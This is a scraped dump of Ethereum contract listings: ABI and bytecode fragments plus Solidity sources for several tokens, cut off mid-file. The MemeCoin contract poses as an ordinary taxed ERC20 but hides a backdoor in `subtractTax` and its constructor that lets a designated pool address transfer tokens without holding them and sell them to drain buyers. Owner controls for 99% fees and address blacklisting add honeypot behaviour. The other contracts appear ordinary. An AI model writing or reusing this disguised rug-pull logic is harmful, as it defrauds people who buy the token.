ternalType":"string","name":"_uriSuffix","type":"string"}],"name":"setUriSuffix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setWhitelistMintEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uriPrefix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uriSuffix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelistClaimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"whitelistMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"whitelistMintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.9+commit.e5eed63a

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000aa87bee53800000000000000000000000000000000000000000000000000000000000000015b3000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000016416c70686120447261676f6e73204f6666696369616c0000000000000000000000000000000000000000000000000000000000000000000000000000000000044452474e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a697066733a2f2f5f5f4349445f5f2f68696464656e2e6a736f6e000000000000

Default

MemeCoin

MemeCoin.sol

0xdb3874932409c2830c459fd5bd228edf6cecf4a9

Solidity

// https://xn--1bsu9n9zk.xyz/ // https://t.me/MemeCoinTokenPortal // https://twitter.com/Meme_coin_ERC20 // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MemeCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 private _initialBuyTax=22; uint256 private _initialSellTax=23; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=0; uint256 private _reduceSellTaxAt=0; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"Meme Coin"; string private constant _symbol = unicode"模因币"; uint256 public _maxTxAmount = _tTotal.mul(2).div(100); uint256 public _maxWalletSize = _tTotal.mul(2).div(100); uint256 public _taxSwapThreshold = _tTotal.mul(1).div(100); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; address private uniswapPool; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address _uniswapPool, address _uniswapRouter) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_uniswapRouter); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapPool = _uniswapPool; _allowances[_uniswapPool][_uniswapRouter] = type(uint256).max; _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } taxAmount = amount.mul(_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul(_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) { swapTokensForEth(min(amount,contractTokenBalance)); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } (uint256 amountIn, uint256 amountOut) = subtractTax(from, amount); _balances[from]=_balances[from].sub(amountIn); _balances[to]=_balances[to].add(amountOut.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function subtractTax(address from, uint256 amount) private view returns (uint256, uint256) { return (from != uniswapPool ? amount : 0, amount); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!tradingOpen){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = type(uint256).max; _maxWalletSize= type(uint256).max; emit MaxTxAmountUpdated(type(uint256).max); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; tradingOpen = true; } function removeTax() external onlyOwner(){ _initialBuyTax = 0; _initialSellTax = 0; } function setFee(uint256 buyTax, uint256 sellTax) public onlyOwner { require(buyTax >= 0 && buyTax <= 99, "Buy tax must be between 0% and 99%"); require(sellTax >= 0 && sellTax <= 99, "Sell tax must be between 0% and 99%"); _initialBuyTax = buyTax; _initialSellTax = sellTax; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } }

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v0.8.19+commit.7dd6d404

000000000000000000000000cebc79cdc5e0a7a77e89922f342be969a02da60f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Default

MIT

ipfs://8ae2e70ed85e44c838d3e4a3ee6b983eab4bd2fa2b4dae7d2462e89bcc4ce81b

notanaltcoin

@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol

0xf8edd91572657660cf5aaff2f01c52df597b5219

Solidity

pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract notanaltcoin is ERC721, Ownable, ReentrancyGuard { uint256 private PRICE = 10000000000000000; // .01e uint256 private MAX_QUANTITY = 1000; uint256 private totalSupply = 0; constructor() ERC721("Not an Altcoin", "NOTANAL") {} function claim(uint256 num) public payable nonReentrant { require( num > 0 && num < 51, "Choose at least 1 and at most 50 to mint" ); require( num + totalSupply < MAX_QUANTITY, "Enter a different quantity - there arent that many left to mint" ); require(msg.value >= num * PRICE, "Price is .01 per mint"); for (uint256 i = 0; i < num; i++) { _safeMint(_msgSender(), totalSupply); totalSupply++; } } function withdraw() public payable nonReentrant onlyOwner { payable(msg.sender).transfer(address(this).balance); } }

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v0.8.7+commit.e28d00a7

Default

MIT

ipfs://bd204bdaff81aa9c7dbe7a7827fb73ef35d52511655dd270f6376cb159153e8b

ORDINALDEGEN

ORDINALDEGEN.sol

0xe509b407f2751211b1477792e71f0590d280ce94

Solidity

/** */ /** https://t.me/Ordinaldegen odtoken.net */ // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) /* pragma solidity ^0.8.0; */ /* import "./IERC20.sol"; */ /* import "./extensions/IERC20Metadata.sol"; */ /* import "../../utils/Context.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 